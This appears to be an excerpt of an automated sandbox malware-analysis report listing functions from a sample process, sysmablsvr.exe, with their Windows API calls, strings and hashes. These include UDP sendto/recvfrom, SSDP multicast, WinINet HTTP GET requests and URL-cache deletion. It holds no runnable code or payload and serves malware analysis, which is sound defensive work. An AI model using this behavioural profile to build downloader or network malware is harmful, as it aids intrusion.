Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction ID: c7f26e6fe3f6e47823c68d9e93f939c843ab0f3ebbce24f5146439a699fa7f9b
Opcode Fuzzy Hash: 9155782f3457772601139595953a0e4fee1c65b8433155f9dc873cd430b809bd
Instruction Fuzzy Hash: CC114F326005186B8B10EF9EC44269ABBD6EF84360B15C136FC2CCF319D634D9414BD4

Function 00401200 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 106networkCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000004,00000000,?,?), ref: 00401258
htons.WS2_32(?), ref: 00401281
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 004012A9
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004012BE

Strings

pdu, xrefs: 0040121D

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedhtonsmemcpysendto
String ID: pdu
API String ID: 2164660128-2320407122
Opcode ID: 8ae6570444e5f91760108b530f1a08cb32bd2fc07e3f7a4ef94bae8ae05db212
Instruction ID: 395797021da18ac5dc0c4ab187d218299f1ec32cbdde21a351b7e81b9c40248d
Opcode Fuzzy Hash: 8ae6570444e5f91760108b530f1a08cb32bd2fc07e3f7a4ef94bae8ae05db212
Instruction Fuzzy Hash: E83180762083009BC710DF69D884A9BBBF4AFC9714F04456EFD9897381D634D91587AB

Function 00406F70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,00407FB7), ref: 00406F78
SysAllocString.OLEAUT32(C:\Users\user\Desktop\file.exe), ref: 00406F83
CoUninitialize.OLE32 ref: 00406FA8

Part of subcall function 00406FC0: SysFreeString.OLEAUT32(00000000), ref: 004071D8

SysFreeString.OLEAUT32(00000000), ref: 00406FA2

Strings

C:\Users\user\Desktop\file.exe, xrefs: 00406F7E

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: String$Free$AllocInitializeUninitialize
String ID: C:\Users\user\Desktop\file.exe
API String ID: 459949847-1957095476
Opcode ID: 04d1d2bcffda370cb2b5a7ceb5013a9587be47d2db71fc951fd56c3c7d876cd0
Instruction ID: 7397cee9579370c29f446d7a93da1be4fc5365a48f81cc5ba3db23e82f7acdfe
Opcode Fuzzy Hash: 04d1d2bcffda370cb2b5a7ceb5013a9587be47d2db71fc951fd56c3c7d876cd0
Instruction Fuzzy Hash: 22E0D8B4940308FBCB00DBE0ED0EB8D7734EB04315F004074F90267291DAB95E80C755

Function 00401820 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401846
InterlockedDecrement.KERNEL32(?), ref: 004018B1

Part of subcall function 004017A0: EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
Part of subcall function 004017A0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
Part of subcall function 004017A0: LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$DecrementEnterLeave
String ID:
API String ID: 3966618661-0
Opcode ID: ce840b8076e102032727fd217b964f9416792ac0f183dc073a12a4941b732ffe
Instruction ID: 36d18bb318df5a029dedd03b2acd005dba350197efc47ce95ae0e9b03ff24c88
Opcode Fuzzy Hash: ce840b8076e102032727fd217b964f9416792ac0f183dc073a12a4941b732ffe
Instruction Fuzzy Hash: 7241A175604A01ABC714EB39D848797F3A4BF84314F14827EE82D933D1E739A855CB99

Function 0040B110 Relevance: 7.6, APIs: 5, Instructions: 74fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00417D28,40000000,00000000,00000000,00000002,00000002,00000000), ref: 0040B1A8
WriteFile.KERNEL32(000000FF,00000000,?,?,00000000), ref: 0040B1C9
FlushFileBuffers.KERNEL32(000000FF), ref: 0040B1D3
CloseHandle.KERNEL32(000000FF), ref: 0040B1DD
InterlockedExchange.KERNEL32(00416900,0000003D), ref: 0040B1EA

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: File$BuffersCloseCreateExchangeFlushHandleInterlockedWrite
String ID:
API String ID: 442028454-0
Opcode ID: a0a4e6ae3ed30183f399e8ba9aee31b57bdf5208d54d0e8c38c9924f8c3679e4
Instruction ID: c603907199676edbd5c7d0fa982afae34b74f891853afe3642d2180ffa8dca70
Opcode Fuzzy Hash: a0a4e6ae3ed30183f399e8ba9aee31b57bdf5208d54d0e8c38c9924f8c3679e4
Instruction Fuzzy Hash: 8D313EB4A40209EBCB14DF94EC85FAEB7B4FB48300F20C569E515673D0D774AA41DB99

Function 00409020 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 0040902E
_allshl.NTDLL ref: 0040903D
_allshl.NTDLL ref: 0040904C
_allshl.NTDLL ref: 0040905B
_allshl.NTDLL ref: 0040906A

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction ID: 6393123168de4f4826dca7712cb04f948d5e4027293efa58ed578d500b7b4a08
Opcode Fuzzy Hash: e97f6b688e4649d03a543f53d1e87ffd622cab317a47a1f81aa90ba96deec30e
Instruction Fuzzy Hash: DDF03172901428AB9750EEFF84424CBF7E6AF9C368B219176FC18E3260E9709D0546F2

Function 00401330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

Part of subcall function 0040A740: HeapFree.KERNEL32(00000000,00000000,00402612,?,00402612,?), ref: 0040A79B

Strings

pdu, xrefs: 00401339

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: 6b6ea7fc194c066d272c2ceb60e6e8d4b7d6d70c2bd26222ba97c1c57b6b1a03
Instruction ID: d282b52b3110f6f030980250f42d45aa65f4851f6724e2164e4de9b2c85264d0
Opcode Fuzzy Hash: 6b6ea7fc194c066d272c2ceb60e6e8d4b7d6d70c2bd26222ba97c1c57b6b1a03
Instruction Fuzzy Hash: 6101D6765003009BCB20AF51ECC0E9B7779AF48311704467AFD04AB396C738E84187B9

Function 004062C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD
QueryDosDeviceW.KERNEL32(0040629F,?,00000208), ref: 0040630C
StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: 9fd04ca368f2f0733dbd00e11fcdc64336c0dc17fc499274760987b24178d786
Instruction ID: e1b7ef358c802af59afb00f280b99e3e8e19274dac2adc7c4e0c886c1a13037e
Opcode Fuzzy Hash: 9fd04ca368f2f0733dbd00e11fcdc64336c0dc17fc499274760987b24178d786
Instruction Fuzzy Hash: 1521C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF555A62A0E774DD488BEA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: de31647e4212ff5a036519ed2976cc2a7ac52ffd671279e5da701e067ce87bdf
Instruction ID: 2037616d4c8183bc1dcd880db7f677971b3714fceeeaba453b7e7dde7ca31e21
Opcode Fuzzy Hash: de31647e4212ff5a036519ed2976cc2a7ac52ffd671279e5da701e067ce87bdf
Instruction Fuzzy Hash: CC217F75E04208FBDB04DFA4D885B9EBB74AF45305F10C1B9ED016B391D679AA80DB49

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D9A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D9B9
CloseHandle.KERNEL32(?), ref: 0040D9E8
LeaveCriticalSection.KERNEL32(?), ref: 0040D9F7
DeleteCriticalSection.KERNEL32(?), ref: 0040DA04

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: ed15acf6120be580f2efb04119f98ac13af0f23ee5fa2c95d393dc01a9c3cf4d
Instruction ID: da3f5db6e059a7c592b49e611c360a1232ff957d222e4d531544d3c603d0b457
Opcode Fuzzy Hash: ed15acf6120be580f2efb04119f98ac13af0f23ee5fa2c95d393dc01a9c3cf4d
Instruction Fuzzy Hash: 2A1121B4E00208EBDB08DF94D984A9DB775FF44309F1081A9E806A7341D739EF95DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 03c0a71711caba3423ec18258d7e67e7f1e7096498cee499a2df36c29d80c934
Instruction ID: 660f416c0ba452cd5c41a421238d9990710d8623252f526507a58679470d43f9
Opcode Fuzzy Hash: 03c0a71711caba3423ec18258d7e67e7f1e7096498cee499a2df36c29d80c934
Instruction Fuzzy Hash: 2301F27A242300AFC3209F26ED84A9B73F8AF85B11F00443EE546E3A50DB39E401CB28

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 47348544a12607a113ad889ec3bd29dddf14831e53aa8f734b6601f1a55deb08
Instruction ID: e6ff3ca51e6e637cb53d631dd4329f9e07d4b07e7a8aed38044ad589faa32fb5
Opcode Fuzzy Hash: 47348544a12607a113ad889ec3bd29dddf14831e53aa8f734b6601f1a55deb08
Instruction Fuzzy Hash: 0F91EC75A0410ADFCB04DF98C894AAFB3B5BF89304F208169E515BB3E0D774AD41CBA6

Function 0040DF10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E150: memset.NTDLL ref: 0040E178
Part of subcall function 0040E150: InternetCrackUrlA.WININET(0040DC29,00000000,10000000,0000003C), ref: 0040E1C8
Part of subcall function 0040E150: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E1D8
Part of subcall function 0040E150: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E211
Part of subcall function 0040E150: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E247
Part of subcall function 0040E150: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E26F
Part of subcall function 0040E150: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E2B8
Part of subcall function 0040E150: InternetCloseHandle.WININET(00000000), ref: 0040E347

Part of subcall function 0040E040: SysAllocString.OLEAUT32(00000000), ref: 0040E06E
Part of subcall function 0040E040: CoCreateInstance.OLE32(00412A18,00000000,00004401,00412A08,00000000), ref: 0040E096
Part of subcall function 0040E040: SysFreeString.OLEAUT32(00000000), ref: 0040E131

SysFreeString.OLEAUT32(00000000), ref: 0040DFEB
SysFreeString.OLEAUT32(00000000), ref: 0040DFF5

Strings

%S%S, xrefs: 0040DFD6

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 8050ae28274428bf3bfa8973c943a31095365cba4dcb11065546cc064dfc1af3
Instruction ID: 0d7a9dfb02ef55e8037a527aa51067439edd5703c05fc0bf7ce6e387078fb77b
Opcode Fuzzy Hash: 8050ae28274428bf3bfa8973c943a31095365cba4dcb11065546cc064dfc1af3
Instruction Fuzzy Hash: 3E416BB5E002099FCB04DBE5C885AEFB7B4BF88304F108929E505B7391D778AA45CBA1

Function 0040DBD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407FB2), ref: 0040DBDA

Part of subcall function 0040DCA0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DCBA
Part of subcall function 0040DCA0: htons.WS2_32(0000076C), ref: 0040DCF0
Part of subcall function 0040DCA0: inet_addr.WS2_32(239.255.255.250), ref: 0040DCFF
Part of subcall function 0040DCA0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DD1D
Part of subcall function 0040DCA0: bind.WS2_32(000000FF,?,00000010), ref: 0040DD53
Part of subcall function 0040DCA0: lstrlenA.KERNEL32(00411D70,00000000,?,00000010), ref: 0040DD6C
Part of subcall function 0040DCA0: sendto.WS2_32(000000FF,00411D70,00000000), ref: 0040DD7B
Part of subcall function 0040DCA0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DD95

Part of subcall function 0040DF10: SysFreeString.OLEAUT32(00000000), ref: 0040DFEB
Part of subcall function 0040DF10: SysFreeString.OLEAUT32(00000000), ref: 0040DFF5

Strings

TCP, xrefs: 0040DC4B
UDP, xrefs: 0040DC68

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: eec8d27479aca65ce9d536c40e716b47b94f3bf0f210a133f1cac4c1684116a5
Instruction ID: a00cbb5bcfca6c5959655f637b3ec774768ac2685424fa301eff230043eb3e38
Opcode Fuzzy Hash: eec8d27479aca65ce9d536c40e716b47b94f3bf0f210a133f1cac4c1684116a5
Instruction Fuzzy Hash: A011B4B4D04208EBEB00EBD4DD85FAE7774EB44308F14886EE511772C2D6B86A54DB59

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004174D8,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(004174D8), ref: 00405F30

Memory Dump Source

Source File: 00000000.00000002.1815270324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1815258217.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815297975.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815309561.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 4996b29259c9349675d46381685df80cb9fbc453c004c8ef9eea7ef5662ad9f1
Instruction ID: 40e991b6b4618cd04087b2a5cfa683f62b0bf83616b4f0bda180c9645beb9567
Opcode Fuzzy Hash: 4996b29259c9349675d46381685df80cb9fbc453c004c8ef9eea7ef5662ad9f1
Instruction Fuzzy Hash: C2218B70904208ABCB04DB94D885BDEBBB5EB94304F1481BAE845672C1C77CAA85CB9A

Analysis Process: sysmablsvr.exePID: 6768, Parent PID: 6672COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	0%
